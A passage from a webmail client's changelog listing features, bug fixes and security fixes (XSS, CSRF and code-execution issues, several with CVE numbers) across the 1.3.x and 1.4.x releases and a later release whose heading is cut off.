- Mailvelope: Fix size of iframe for PGP-inlined mail (#7348)
- Mailvelope: Add config option to use Main Keyring (#7348, #7157)
- Mailvelope: Add config option to set the size for new keys (#7348)
- Mailvelope: Always ask before discarding email currently being composed (#7348)
- Mailvelope: Fix unnecessary warning to re-add attachments when restoring a draft (#7348)
- Archive: Added options to split archive by year or year+month and folder (#7216)
- Enigma: Support ECC key generation - when using GnuPG >= 2.1.7 (#6853)
- Managesieve: Add support for 'spamtest' extension - RFC3685 (#6950)
- Managesieve: Allow display name with email address in vacation :from field (#6760)
- Managesieve: Improve UX on custom header input (#7207)
- Managesieve: Fix bug where activation of forward/vacation rule could activate a wrong script (#7423)
- Managesieve: Fix bug where forward/vacation rule could end up being duplicated (#7349)
- new_user_identity: Fix missing password for user-specific LDAP operations (#7667)
- Password: Added 'pwned' password strength driver (#7274)
- Password: Added Mail-in-a-Box (miab) driver (#7824)
- Password: Added TinyCP driver (#7510)
- Password: Added httpapi driver to connect to generic HTTP/HTTPS APIs (#7439)
- Password: Added dovecot_passwdfile driver (#5786)
- Password: Removed old 'cpanel' driver, 'cpanel_webmail' driver renamed to 'cpanel' (#7780)
- Fix handling of address groups in email headers by ignoring their names (#7663)
- Fix so message flags are updated on refresh also for multifolder search results (#7774)
- Fix so IMAP ID command is send only after authentication (#7517)
- Fix bug where it wasn't possible to save Spanish (Latin America) locale preference (#7784)
- Fix mail search error on invalid search_mods definition (#7789)
- Fix error when dealing with message/rfc822 attachments using Gmail IMAP (#6854)
- Fix ISO-2022-JP-MS encoding issues (#7091)
- Fix so messages in threads with no root aren't displayed separately (#4999)
- Fix so anchor tags without href attribute are not modified (#7413)
- Fix invalid IMAP SEARCH command in some rare case on messages cache synchronization (#7895)
- Fix so allowing remote resources does not add an entry to browser history (#6620)

## Release 1.4.11

- Display a nice error informing about no PHP8 support
- Elastic: Fix compatibility with Less v3 and v4 (#7813)
- Fix bug with managesieve_domains in Settings > Forwarding form (#7849)
- Fix errors in MSSQL database update scripts (#7853)
- Security: Fix cross-site scripting (XSS) via HTML messages with malicious CSS content

## Release 1.4.10

- Fix extra angle brackets in In-Reply-To header derived from mailto: params (#7655)
- Fix folder list issue whan special folder is a subfolder (#7647)
- Fix Elastic's folder subscription toggle in search result (#7653)
- Fix state of subscription toggle on folders list after changing folder state from the search result (#7653)
- Security: Fix cross-site scripting (XSS) via HTML or Plain text messages with malicious content [CVE-2020-35730]

## Release 1.4.9

- Fix HTML editor in latest Chrome 85.0.4183.102, update to TinyMCE 4.9.11 (#7615)
- Add missing localization for some label/legend elements in userinfo plugin (#7478)
- Fix importing birthday dates from Gmail vCards (BDAY:YYYYMMDD)
- Fix restoring Cc/Bcc fields from local storage (#7554)
- Fix jstz.min.js installation, bump version to 1.0.7
- Fix link to closure compiler in bin/jsshrink.sh script (#7567)
- Fix incorrect PDO::lastInsertId() use in sqlsrv driver (#7564)
- Fix bug where some parts of a message could have been missing in a reply/forward body (#7568)
- Fix empty space on mail printouts in Chrome (#7604)
- Fix empty output from HTML5 parser when content contains XML tag (#7624)
- Fix scroll jump on key press in plain text mode of the HTML editor (#7622)
- Fix so autocompletion list does not hide on scroll inside it (#7592)

## Release 1.4.8

- Fix support for an error as a string in message_before_send hook (#7475)
- Elastic: Fix redundant scrollbar in plain text editor on mail reply (#7500)
- Elastic: Fix deleted and replied+forwarded icons on messages list (#7503)
- Managesieve: Fix too-small input field in Elastic when using custom headers (#7498)
- Managesieve: Allow angle brackets in out-of-office message body (#7518)
- Fix bug in conversion of email addresses to mailto links in plain text messages (#7526)
- Fix format=flowed formatting on plain text part derived from the HTML content (#7504)
- Fix incorrect rewriting of internal links in HTML content (#7512)
- Fix handling links without defined protocol (#7454)
- Fix paging of search results on IMAP servers with no SORT capability (#7462)
- Fix detecting special folders on servers with both SPECIAL-USE and LIST-STATUS (#7525)
- Security: Fix cross-site scripting (XSS) via HTML messages with malicious svg content [CVE-2020-16145]
- Security: Fix cross-site scripting (XSS) via HTML messages with malicious math content
- Security: Fix potential XSS issue in HTML editor of the identity signature input (#7507)

## Release 1.4.7

- Fix bug where subfolders of special folders could have been duplicated on folder list
- Increase maximum size of contact jobtitle and department fields to 128 characters
- Fix missing newline after the logged line when writing to stdout (#7418)
- Elastic: Fix context menu (paste) on the recipient input (#7431)
- Fix problem with forwarding inline images attached to messages with no HTML part (#7414)
- Fix problem with handling attached images with same name when using database_attachments/redundant_attachments (#7455)
- Security: Fix cross-site scripting (XSS) via HTML messages with malicious svg/namespace [CVE-2020-15562]

## Release 1.4.6

- Installer: Fix regression in SMTP test section (#7417)

## Release 1.4.5

- Fix bug in extracting required plugins from composer.json that led to spurious error in log (#7364)
- Fix so the database setup description is compatible with MySQL 8 (#7340)
- Markasjunk: Fix regression in jsevent driver (#7361)
- Fix missing flag indication on collapsed thread in Larry and Elastic (#7366)
- Fix default keyservers (use keys.openpgp.org), add note about CORS (#7373, #7367)
- Password: Fix issue with Modoboa driver (#7372)
- Mailvelope: Use sender's address to find pubkeys to check signatures (#7348)
- Mailvelope: Fix Encrypt button hidden in Elastic (#7353)
- Fix PHP warning: count(): Parameter must be an array or an object... in ID command handler (#7392)
- Fix error when user-configured skin does not exist anymore (#7271)
- Elastic: Fix aspect ratio of a contact photo in mail preview (#7339)
- Fix bug where PDF attachments marked as inline could have not been attached on mail forward (#7382)
- Security: Fix a couple of XSS issues in Installer (#7406)
- Security: Fix XSS issue in template object 'username' (#7406)
- Security: Better fix for CVE-2020-12641
- Security: Fix cross-site scripting (XSS) via malicious XML attachment

## Release 1.4.4

- Fix bug where attachments with Content-Id were attached to the message on reply (#7122)
- Fix identity selection on reply when both sender and recipient addresses are included in identities (#7211)
- Elastic: Fix text selection with Shift+PageUp and Shift+PageDown in plain text editor when using Chrome (#7230)
- Elastic: Fix recipient input bug when using click to select a contact from autocomplete list (#7231)
- Elastic: Fix color of a folder with recent messages (#7281)
- Elastic: Restrict logo size in print view (#7275)
- Fix invalid Content-Type for messages with only html part and inline images - Mail_Mime-1.10.7 (#7261)
- Fix missing contact display name in QR Code data (#7257)
- Fix so button label in Select image/media dialogs is "Close" not "Cancel" (#7246)
- Fix regression in testing database schema on MSSQL (#7227)
- Fix cursor position after inserting a group to a recipient input using autocompletion (#7267)
- Fix string literals handling in IMAP STATUS (and various other) responses (#7290)
- Fix bug where multiple images in a message were replaced by the first one on forward/reply/edit (#7293)
- Fix handling keyservers configured with protocol prefix (#7295)
- Markasjunk: Fix marking as spam/ham on moving messages with Move menu (#7189)
- Markasjunk: Fix bug where moving to Junk was failing on messages selected with Select > All (#7206)
- Fix so imap error message is displayed to the user on folder create/update (#7245)
- Fix bug where a special folder couldn't be created if a special-use flag is not supported (#7147)
- Mailvelope: Fix bug where recipients with name were not handled properly in mail compose (#7312)
- Fix characters encoding in group rename input after group creation/rename (#7330)
- Fix bug where some message/rfc822 parts could not be attached on forward (#7323)
- Make install-jsdeps.sh script working without the 'file' program installed (#7325)
- Fix performance issue of parsing big HTML messages by disabling HTML5 parser for these (#7331)
- Fix so Print button for PDF attachments works on Firefox >= 75 (#5125)
- Security: Fix XSS issue in handling of CDATA in HTML messages [CVE-2020-12625]
- Security: Fix remote code execution via crafted 'im_convert_path' or 'im_identify_path' settings [CVE-2020-12641]
- Security: Fix local file inclusion (and code execution) via crafted 'plugins' option [CVE-2020-12640]
- Security: Fix CSRF bypass that could be used to log out an authenticated user [CVE-2020-12626] (#7302)

## Release 1.4.3

- Enigma: Fix so key list selection is reset when opening key creation form (#7154)
- Enigma: Fix so using list checkbox selection does not load the key preview frame
- Enigma: Fix generation of key pairs for identities with IDN domains (#7181)
- Enigma: Display IDN domains of key users and identities in UTF8
- Enigma: Fix bug where "Send unencrypted" button didn't work in Elastic skin (#7205)
- Managesieve: Fix bug where it wasn't possible to save flag actions (#7188)
- Markasjunk: Fix bug where marking as spam/ham didn't work on moving messages with drag-and-drop (#7137)
- Password: Make chpass-wrapper.py Python 3 compatible (#7135)
- Elastic: Fix disappearing sidebar in mail compose after clicking Mail button
- Elastic: Fix incorrect aria-disabled attribute on Mail taskmenu button in mail compose
- Elastic: Fix bug where it was possible to switch editor mode when 'htmleditor' was in 'dont_override' (#7143)
- Elastic: Fix text selection in recipient inputs (#7129)
- Elastic: Fix missing Close button in "more recipients" dialog
- Elastic: Fix non-working folder subscription checkbox for newly added folders (#7174)
- Fix regression where "Open in new window" action didn't work (#7155)
- Fix PHP Warning: array_filter() expects parameter 1 to be array, null given in subscriptions_option plugin (#7165)
- Fix unexpected error message when mail refresh involves folder auto-unsubscribe (#6923)
- Fix recipient duplicates in print-view when the recipient list has been expanded (#7169)
- Fix bug where files in skins/ directory were listed on skins list (#7180)
- Fix bug where message parts with no Content-Disposition header and no name were not listed on attachments list (#7117)
- Fix display issues with mail subject that contains line-breaks (#7191)
- Fix invalid Content-Transfer-Encoding on multipart messages - Mail_Mime fix (#7170)
- Fix regression where using an absolute path to SQLite database file on Windows didn't work (#7196)
- Fix using unix:///path/to/socket.file in memcached driver (#7210)

## Release 1.4.2

- Add support for PHPUnit 6 and 7 (#6870)
- Plugin API: Make `actionbefore`, `before<action>`, `actionafter` and `after<action>` events working with plugin actions (#7106)
- Managesieve: Replace "Filter disabled" with "Filter enabled" (#7028)
- Managesieve: Fix so modifier type select wasn't hidden after hiding modifier select on header change
- Managesieve: Fix filter selection after removing a first filter (#7079)
- Markasjunk: Fix marking more than one message as spam/ham with email_learn driver (#7121)
- Password: Fix kpasswd and smb drivers' double-escaping bug (#7092)
- Enigma: Add script to import keys from filesystem to the db storage (for multihost)
- Installer: Fix DB Write test on SQLite database ("database is locked" error) (#7064)
- Installer: Fix so SQLite DSN with a relative path to the database file works in Installer
- Elastic: Fix contrast of warning toasts (#7058)
- Elastic: Simple search in pretty selects (#7072)
- Elastic: Fix hidden list widget on mobile/tablet when selecting folder while search menu is open (#7120)
- Fix so type attribute on script tags is not used on HTML5 pages (#6975)
- Fix unread count after purge on a folder that is not currently selected (#7051)
- Fix bug where Enter key didn't work on messages list in "List" layout (#7052)
- Fix bug where deleting a saved search in addressbook caused display issue on sources/groups list (#7061)
- Fix bug where a new saved search added after removing all searches wasn't added to the list (#7061)
- Fix bug where a new contact group added after removing all groups from addressbook wasn't added to the list
- Fix bug where Ctype extension wasn't required in Installer and INSTALL file (#7049)
- Fix so install-jsdeps.sh removes Bootstrap's sourceMappingURL (#7035)
- Fix so use of Ctrl+A does not scroll the list (#7020)
- Fix/remove useless keyup event handler on username input in logon form (#6970)
- Fix bug where cancelling switching from HTML to plain text didn't set the flag properly (#7077)
- Fix bug where HTML reply could add an empty line with extra indentation above the original message (#7088)
- Fix matching multiple X-Forwarded-For addresses with 'proxy_whitelist' (#7107)
- Fix so displayed maximum attachment size depends also on 'max_message_size' (#7105)
- Fix bug where 'skins_allowed' option didn't enforce user skin preference (#7080)
- Fix so contact's organization field accepts up to 128 characters (it was 50)
- Fix bug where listing tables in PostgreSQL database with db_prefix didn't work (#7093)
- Fix bug where 'text' attribute on body tag was ignored when displaying HTML message (#7109)
- Fix bug where next message wasn't displayed after delete in List mode (#7096)
- Fix so number of contacts in a group is not limited to 200 when redirecting to mail composer from Contacts (#6972)
- Fix malformed characters in HTML message with charset meta tag not in head (#7116)

## Release 1.4.1

- Elastic: Change HTML editor widget to improve form flow (#6992)
- Elastic: Fix position of mobile floating action button (#7038)
- Managesieve: Fix locked UI after opening filter frame (#7007)
- Fix PHP warning: "array_merge(): Expected parameter 2 to be an array, null given in sendmail.inc (#7003)
- Fix bug where cache keys could exceed length limit specified in db schema (#7004)
- Fix invalid Signature button state after escaping Mailvelope mode (#7015)
- Fix so 401 error is returned only on failed logon requests (#7010)
- Fix db_prefix handling in queries with `TRUNCATE TABLE <name>` and `UNIQUE <name>` (#7013)
- Fix so update.sh script warns about changed defaults (#7011)
- Fix tables listing routine when DSN contained a database with unsupported suffix (#7034)
- Fix so Elastic is also a default in jqueryui plugin (#7039)
- Fix bug where the Installer would not warn about required schema upgrade (#7042)

## Release 1.4.0

- Elastic: Resizable columns (#6929)
- Elastic: Fix position and style of auto-complete dropdown on small screens (#6951)
- Elastic: Fix initial focus on recipients input in mail compose screen
- Elastic: Fix inserting responses at cursor position (#6971)
- Elastic: Fix unread filter icon and search state on folder change (#6978)
- Elastic: Fix regression where Encrypt button wasn't displayed in mail compose toolbar (#6982)
- Elastic: Fix regression where recipient input didn't update internal input state (#6988)
- Enigma: Fix bug where signing option was set to disabled after saving a draft in Elastic skin (#6515)
- Redis: Improve error handling and phpredis 5.X support (#6888)
- Archive: Fix bug where next email was not displayed after Archive button use (#6965)
- Archive: Fix missing Archive icon in folder selector popup in Elastic
- Fix bug where cache keys were not case-sensitive on MySQL/MSSQL (#6942)
- Fix so an error is logged when encryption fails (#6948)
- Fix bug where inline images could have been ignored if Content-Id header contained redundant spaces (#6980)
- Fix and document skin_logo setup (#6981)

## Release 1.4-rc2

- Update to jQuery 3.4.1
- Clarified 'address_book_type' option behavior (#6680)
- Added cookie mismatch detection, display an error message informing the user to clear cookies
- Renamed 'log_session' option to 'session_debug'
- Removed 'delete_always' option (#6782)
- Don't log full session identifiers in userlogins log (#6625)
- Support $HasAttachment/$HasNoAttachment keywords (#6201)
- Support PECL memcached extension as a session and cache storage driver (experimental)
- Switch to IDNA2008 variant (#6806)
- installto.sh: Add possibility to run the update even on the up-to-date installation (#6533)
- Plugin API: Add 'render_folder_selector' hook
- Added 'keyservers' option to define list of HKP servers for Enigma/Mailvelope (#6326)
- Added flag to disable server certificate validation via Mysql DSN argument (#6848)
- Select all records on the current list page with CTRL + A (#6813)
- Use Left/Right Arrow keys to faster move over threaded messages list (#6399)
- Changes in `display_next` setting (#6795):
    - Move it to Preferences > User Interface > Main Options
    - Make it apply to Contacts interface too
    - Make it apply only if deleting/moving a previewed message/contact
- Redis: Support connection to unix socket
- Put charset meta specification before a title tag, add page title automatically (#6811)
- Elastic: Various internal refactorings
- Elastic: Add Prev/Next buttons on message page toolbar (#6648)
- Elastic: Close search options on Enter key press in quick-search input (#6660)
- Elastic: Changed some icons (#6852)
- Elastic: Changed read/unread icons (#6636)
- Elastic: Changed "Move to..." icon (#6637)
- Elastic: Add hide/show for advanced preferences (#6632)
- Elastic: Add default icon on Settings/Preferences lists for external plugins (#6814)
- Elastic: Add indicator for popover menu items that open a submenu (#6868)
- Elastic: Move compose attachments/options to the right side (#6839)
- Elastic: Add border/background to attachments list widget (#6842)
- Elastic: Add "Show unread messages" button to the search bar (#6587)
- Elastic: Fix bug where toolbar disappears on attachment menu use in Chrome (#6677)
- Elastic: Fix folders list scrolling on touch devices (#6706)
- Elastic: Fix non-working pretty selects in Chrome browser (#6705)
- Elastic: Fix issue with absolute positioned mail content (#6739)
- Elastic: Fix bug where some menu actions could cause a browser popup warning
- Elastic: Fix handling mailto: URL parameters in contact menu (#6751)
- Elastic: Fix keyboard navigation in some menus, e.g. the contact menu
- Elastic: Fix visual issue with long buttons in .boxwarning (#6797)
- Elastic: Fix handling new-line in text pasted to a recipient input
- Elastic: Fix so search is not reset when returning from the message preview page (#6847)
- Larry: Fix regression where menu actions didn't work with keyboard (#6740)
- ACL: Display user/group names (from ldap) instead of acl identifier
- Password: Added ldap_exop driver (#4992)
- Password: Added support for SSHA512 password algorithm (#6805)
- Managesieve: Fix bug where global includes were requested for vacation (#6716)
- Managesieve: Use RFC-compliant line endings, CRLF instead of LF (#6686)
- Managesieve: Fix so "Create filter" option does not show up when Filters menu is disabled (#6723)
- Enigma: For verified signatures, display the user id associated with the sender address (#5958)
- Enigma: Fix bug where revoked users/keys were not greyed out in key info
- Enigma: Fix error message when trying to encrypt with a revoked key (#6607)
- Enigma: Fix "decryption oracle" bug [CVE-2019-10740] (#6638)
- Enigma: Fix bug where signature verification could have been skipped for some message structures (#6838)
- Fix language selection for spellchecker in html mode (#6915)
- Fix css styles leak from replied/forwarded message to the rest of the composed text (#6831)
- Fix invalid path to "add contact" icon when using assets_path setting
- Fix invalid path to blocked.gif when using assets_path setting (#6752)
- Fix so advanced search dialog is not automatically displayed on searchonly addressbooks (#6679)
- Fix so an error is logged when more than one attachment plugin has been enabled, initialize the first one (#6735)
- Fix bug where flag change could have been passed to a preview frame when not expected
- Fix bug in HTML parser that could cause missing text fragments when there was no head/body tag (#6713)
- Fix bug where HTML messages with a xml:namespace tag were not rendered (#6697)
- Fix TinyMCE download location (#6694)
- Fix so "Open in new window" consistently displays "external window" interface (#6659)
- Fix bug where next row wasn't selected after deleting a collapsed thread (#6655)
- Fix bug where external content (e.g. mail body) was passed to templates parsing code (#6640)
- Fix bug where attachment preview didn't work with x_frame_options=deny (#6688)
- Fix so bin/install-jsdeps.sh returns error code on error (#6704)
- Fix bug where bmp images couldn't be displayed on some systems (#6728)
- Fix bug in parsing vCard data using PHP 7.3 due to an invalid regexp (#6744)
- Fix bug where bold/strong text was converted to upper-case on html-to-text conversion (6758)
- Fix bug in rcube_utils::parse_hosts() where %t, %d, %z could return only tld (#6746)
- Fix bug where Next/Prev button in mail view didn't work with multi-folder search result (#6793)
- Fix bug where selection of columns on messages list wasn't working
- Fix bug in converting multi-page Tiff images to Jpeg (#6824)
- Fix bug where handling multiple messages from multi-folder search result could not work (#6845)
- Fix bug where unread count wasn't updated after moving multi-folder result (#6846)
- Fix wrong messages order after returning to a multi-folder search result (#6836)
- Fix some PHP 7.4 compat. issues (#6884, #6866)
- Fix bug where it was possible to bypass the position:fixed CSS check in received messages (#6898)
- Fix bug where some strict remote URIs in url() style were unintentionally blocked (#6899)
- Fix bug where it was possible to bypass the CSS jail in HTML messages using :root pseudo-class (#6897)
- Fix bug where it was possible to bypass href URI check with data:application/xhtml+xml URIs (#6896)

## Release 1.4-rc1

- Changed 'password_charset' default to 'UTF-8' (#6522)
- Add skins_allowed option (#6483)
- SMTP GSSAPI support via krb_authentication plugin (#6417)
- Avoid Referer leaking by using Referrer-Policy:same-origin header (#6385)
- Removed 'referer_check' option (#6440)
- Use constant prefix for temp file names, don't remove temp files from other apps (#6511)
- Ignore 'Sender' header on Reply-All action (#6506)
- deluser.sh: Add option to delete users who have not logged in for more than X days (#6340)
- HTML5 Upload Progress - as a replacement for the old server-side solution (#6177)
- Update to TinyMCE 4.8.2
- Update to jQuery-MiniColors 2.3.4
- Prevent from using deprecated timezone names from jsTimezoneDetect
- Force session.gc_probability=1 when using custom session handlers (#6560)
- Support simple field labels (e.g. LetterHub examples) in csv imports (#6541)
- Add cache busters also to images used by templates (#6610)
- Plugin API: Added 'raise_error' hook (#6199)
- Plugin API: Added 'common_headers' hook (#6385)
- Plugin API: Added 'ldap_connected' hook
- Enigma: Update to OpenPGPjs 4.2.1 - fixes user name encoding issues in key generation (#6524)
- Enigma: Fixed multi-host synchronization of private and deleted keys and pubring.kbx file
- Managesieve: Added support for 'editheader' extension - RFC5293 (#5954)
- Managesieve: Fix bug where custom header or variable could be lost on form submission (#6594)
- Markasjunk: Integrate markasjunk2 features into markasjunk - marking as non-junk + learning engine (#6504)
- Password: Added 'modoboa' driver (#6361)
- Password: Fix bug where password_dovecotpw_with_method setting could be ignored (#6436)
- Password: Fix bug where new users could skip forced password change (#6434)
- Password: Allow drivers to override default password comparisons (eg new is not same as current) (#6473)
- Password: Allow drivers to override default strength checks (eg allow for 'not the same as last x passwords') (#246)
- Password: Allow drivers to define password strength rules displayed to the user
- Password: Allow separate password saving and strength drivers for use of strength checking services (#5040)
- Password: Add zxcvbn driver for checking password strength (#6479)
- Password: Disallow control characters in passwords
- Password: Add support for Plesk >= 17.8 (#6526)
- Elastic: Improved datepicker displayed always in parent window
- Elastic: On touch devices display attachment icons on messages list (#6296)
- Elastic: Make menu button inactive if all subactions are inactive (#6444)
- Elastic: On mobile/tablet jump to the list on folder selection (#6415)
- Elastic: Various improvements on mail compose screen (#6413)
- Elastic: Support new-line char as a separator for pasted recipients (#6460)
- Elastic: Improved UX of search dialogs (#6416)
- Elastic: Fix unwanted thread expanding when selecting a collapsed thread in non-mobile mode (#6445)
- Elastic: Fix too small height of mailvelope mail preview frame (#6600)
- Elastic: Add "status bar" for mobile in mail composer
- Elastic: Add selection options on contacts list (#6595)
- Elastic: Fix unintentional layout preference overwrite (#6613)
- Elastic: Fix bug where Enigma options in mail compose could sometimes be ignored (#6515)
- Log errors caused by low pcre.backtrack_limit when sending a mail message (#6433)
- Fix regression where drafts were not deleted after sending the message (#6756)
- Fix so max_message_size limit is checked also when forwarding messages as attachments (#6580)
- Fix so performance stats are logged to the main console log also when per_user_logging=true
- Fix malformed message saved into Sent folder when using big attachments and low memory limit (#6498)
- Fix incorrect IMAP SASL GSSAPI negotiation (#6308)
- Fix so unicode in local part of the email address is also supported in recipient inputs (#6490)
- Fix bug where autocomplete list could be displayed out of screen (#6469)
- Fix style/navigation on error page depending on authentication state (#6362)
- Fix so invalid smtp_helo_host is never used, fallback to localhost (#6408)
- Fix custom logo size in Elastic (#6424)
- Fix listing the same attachment multiple times on forwarded messages
- Fix bug where a message/rfc822 part without a filename wasn't listed on the attachments list (#6494)
- Fix inconsistent offset for various time zones - always display Standard Time offset (#6531)
- Fix dummy Message-Id when resuming a draft without Message-Id header (#6548)
- Fix handling of empty entries in vCard import (#6564)
- Fix bug in parsing some IMAP command responses that include unsolicited replies (#6577)
- Fix PHP 7.2 compatibility in debug_logger plugin (#6586)
- Fix so ANY record is not used for email domain validation, use A, MX, CNAME, AAAA instead (#6581)
- Fix so mime_content_type check in Installer uses files that should always be available (i.e. from program/resources) (#6599)
- Fix missing CSRF token on a link to download too-big message part (#6621)
- Fix bug when aborting dragging with ESC key didn't stop the move action (#6623)

## Release 1.4-beta

- Added new skin with mobile support - the Elastic
- Support Redis cache
- Email Resent (Bounce) feature (#4985)
- Improved Mailvelope integration
  - Added private key listing and generating to identity settings
  - Enable encrypt & sign option if Mailvelope supports it
- Allow contacts without an email address (#5079)
- Support SMTPUTF8 and relax email address validation to support unicode in local part (#5120)
- Support for IMAP folders that cannot contain both folders and messages (#5057)
- Update to jQuery-3.3.1
- Update to jQuery-minicolors 2.2.6
- Update to TinyMCE 4.7.13
- Remove sample PHP configuration from .htaccess and .user.ini files (#5850)
- Extend skin_logo setting to allow per skin logos (#6272)
- Use Masterminds/HTML5 parser for better HTML5 support (#5761)
- Add More actions button in Contacts toolbar with Copy/Move actions (#6081)
- Display an error when clicking disabled link to register protocol handler (#6079)
- Add option trusted_host_patterns (#6009, #5752)
- Support additional connect parameters in PostgreSQL database wrapper
- Use UI dialogs instead of confirm() and alert() where possible
- Display value of the SMTP message size limit in the error message (#6032)
- Show message flagged status in message view (#5080)
- Skip redundant INSERT query on successful logon when using PHP7
- Replace display_version with display_product_version (#5904)
- Extend disabled_actions config so it accepts also button names (#5903)
- Handle remote stylesheets the same as remote images, ask the user to allow them (#5994)
- Add Message-ID to the sendmail log (#5871)
- Add option to hide folders in share/other-user namespace or outside of the personal namespace root (#5073)
- Archive: Fix archiving by sender address on cyrus-imap
- Archive: Style Archive folder also on folder selector and folder manager lists
- Archive: Add Thunderbird compatible Month option (#5623)
- Archive: Create archive folder automatically if it's configured, but does not exist (#6076)
- Enigma: Add button to send mail unencrypted if no key was found (#5913)
- Enigma: Add options to set PGP cipher/digest algorithms (#5645)
- Enigma: Multi-host support
- Managesieve: Add ability to disable filter sets and other actions (#5496, #5898)
- Managesieve: Add option managesieve_forward to enable settings dialog for simple forwarding (#6021)
- Managesieve: Support filter action with custom IMAP flags (#6011)
- Managesieve: Support 'mime' extension tests - RFC5703 (#5832)
- Managesieve: Support GSSAPI authentication with krb_authentication plugin (#5779)
- Managesieve: Support enabling the plugin for specified hosts only (#6292)
- Password: Support host variables in password_db_dsn option (#5955)
- Password: Automatic virtualmin domain setting, removed password_virtualmin_format option (#5759)
- Password: Added password_username_format option (#5766)
- subscriptions_option: show \\Noselect folders greyed out (#5621)
- zipdownload: Added option to define size limit for multiple messages download (#5696)
- vcard_attachments: Add possibility to send contact vCard from Contacts toolbar (#6080)
- Changed defaults for smtp_user (%u), smtp_pass (%p) and smtp_port (587)
- Composer: Fix certificate validation errors by using packagist only (#5148)
- Add --get and --extract arguments and CACHEDIR env-variable support to install-jsdeps.sh (#5882)
- Support _filter and _scope as GET arguments for opening mail UI (#5825)
- Various improvements for templating engine and skin behaviours
  - Support conditional include
  - Support for 'link' objects
  - Support including files with path relative to templates directory
  - Use `<button>` instead of `<input>` for submit button on logon screen
- Support skin localization (#5853)
- Reset onerror on images if placeholder does not exist to prevent from requests storm
- Unified and simplified code for loading content frame for responses and identities
- Display contact import and advanced search in popup dialogs
- Display a dialog for mail import with supported format description and upload size hint
- Make possible to set (some) config options from a skin
- Added optional checkbox selection for the list widget
- Make 'compose' command always enabled
- Add .log suffix to all log file names, add option log_file_ext to control this (#313)
- Return "401 Unauthorized" status when login fails (#5663)
- Support both comma and semicolon as recipient separator, drop recipients_separator option (#5092)
- Plugin API: Added 'show_bytes' hook (#5001)
- Add option to not indent quoted text on top-posting reply (#5105)
- Removed global $CONFIG variable
- Removed debug_level setting
- Support AUTHENTICATE LOGIN for IMAP connections (#5563)
- Support LDAP GSSAPI authentication (#5703)
- Localized timezone selector (#4983)
- Use 7bit encoding for ISO-2022-* charsets in sent mail (#5640)
- Handle inline images also inside multipart/mixed messages (#5905)
- Allow style tags in HTML editor on composed/reply messages (#5751)
- Use Github API as a fallback to fetch js dependencies to workaround throttling issues (#6248)
- Show confirm dialog when moving folders using drag and drop (#6119)
- Fix bug where new_user_dialog email check could have been circumvented by deleting / abandoning session (#5929)
- Fix skin extending for assets (#5115)
- Fix handling of forwarded messages inside of a TNEF message (#5632)
- Fix bug where attachment size wasn't visible when the filename was too long (#6033)
- Fix checking table columns when there's more schemas/databases in postgres/mysql (#6047)
- Fix css conflicts in user interface and e-mail content (#5891)
- Fix duplicated signature when using Back button in Chrome (#5809)
- Fix touch event issue on messages list in IE/Edge (#5781)
- Fix so links over images are not removed in plain text signatures converted from HTML (#4473)
- Fix various issues when downloading files with names containing non-ascii chars, use RFC 2231 (#5772)

## Release 1.3.8

- Fix PHP warnings on dummy QUOTA responses in Courier-IMAP 4.17.1 (#6374)
- Fix so fallback from BINARY to BODY FETCH is used also on [PARSE] errors in dovecot 2.3 (#6383)
- Enigma: Fix deleting keys with authentication subkeys (#6381)
- Fix invalid regular expressions that throw warnings on PHP 7.3 (#6398)
- Fix so Classic skin splitter does not escape out of window (#6397)
- Fix XSS issue in handling invalid style tag content [CVE-2018-19206] (#6410)
- Fix compatibility with MySQL 8 - error on 'system' table use
- Managesieve: Fix bug where show_real_foldernames setting wasn't respected (#6422)
- New_user_identity: Fix %fu/%u vars substitution in user specific LDAP params (#6419)
- Fix support for `allow-from <uri>` in `x_frame_options` config option (#6449)
- Fix bug where valid content between HTML comments could have been skipped in some cases (#6464)
- Fix multiple VCard field search (#6466)
- Fix session issue on long running requests (#6470)

## Release 1.3.7

- Fix PHP Warning: Use of undefined constant IDNA_DEFAULT on systems without php-intl (#6244)
- Fix bug where some parts of quota information could have been ignored (#6280)
- Fix bug where some escape sequences in html styles could bypass security checks
- Fix bug where some forbidden characters on Cyrus-IMAP were not prevented from use in folder names
- Fix bug where only attachments with the same name would be ignored on zip download (#6301)
- Fix bug where unicode contact names could have been broken/emptied or caused DB errors (#6299)
- Fix bug where after "mark all folders as read" action message counters were not reset (#6307)
- Enigma: [EFAIL] Don't decrypt PGP messages with no MDC protection (#6289)
- Fix bug where some HTML comments could have been malformed by HTML parser (#6333)

## Release 1.3.6

- Fix parsing date strings (e.g. from a Date: mail header) with comments (#6216)
- Fix PHP 7.2: count(): Parameter must be an array in enchant-based spellchecker (#6234)
- Fix possible IMAP command injection and type juggling vulnerabilities (#6229)
- Enigma: Fix key selection for signing
- Enigma: Enable keypair generation on Internet Explorer 11
- Fix check_request() bypass in places using get_uids() [CVE-2018-9846] (#6238)
- Fix bug where usernames without domain part could be malformed or converted to lower-case on logon (#6224)

## Release 1.3.5

- Managesieve: Fix bug where text: syntax was forced for strings longer than 1024 characters (#6143)
- Managesieve: Fix missing Save button in Edit Filter Set page of Classic skin (#6154)
- Fix duplicated labels in Test SMTP Config section (#6166)
- Fix PHP Warning: exif_read_data(...): Illegal IFD size (#6169)
- Enigma: Fix key generation in Safari by upgrade to OpenPGP 2.6.2 (#6149)
- Fix security issue in remote content blocking on HTML image and style tags (#6178)
- Added 9pt and 11pt to the list of font sizes in HTML editor
- Fix handling encoding of HTML tags in "inline" JSON output (#6207)
- Fix bug where some unix timestamps were not handled correctly by rcube_utils::anytodatetime() (#6212)

## Release 1.3.4

- Fix bug where contacts search could skip some records (#6130)
- Fix possible information leak - add more strict sql error check on user creation (#6125)
- Fix a couple of warnings on PHP 7.2 (#6098)
- Fix broken long filenames when using imap4d server - workaround server bug (#6048)
- Fix so temp_dir misconfiguration prints an error to the log (#6045)
- Fix untagged COPYUID responses handling - again (#5982)
- Fix PHP warning "idn_to_utf8(): INTL_IDNA_VARIANT_2003 is deprecated" with PHP 7.2 (#6075)
- Fix bug where Archive folder wasn't auto-created on login with create_default_folders=true
- Fix performance issue when parsing malformed and long Date header (#6087)
- Fix syntax error in mssql.initial.sql (#6097)
- Fix bug where contacts export by selection returned no more than 10 entries (#6103)
- Fix searching contacts by address in LDAP source (#6084)
- Fix X-Frame-Options:ALLOW-FROM support, remove custom click-jacking protection (#6057)

## Release 1.3.3

- Fix decoding of mailto: links with + character in HTML messages (#6020)
- Fix false reporting of failed upgrade in installto.sh (#6019)
- Fix file disclosure vulnerability caused by insufficient input validation [CVE-2017-16651] (#6026)
- Fix mangled non-ASCII characters in links in HTML messages (#6028)

## Release 1.3.2

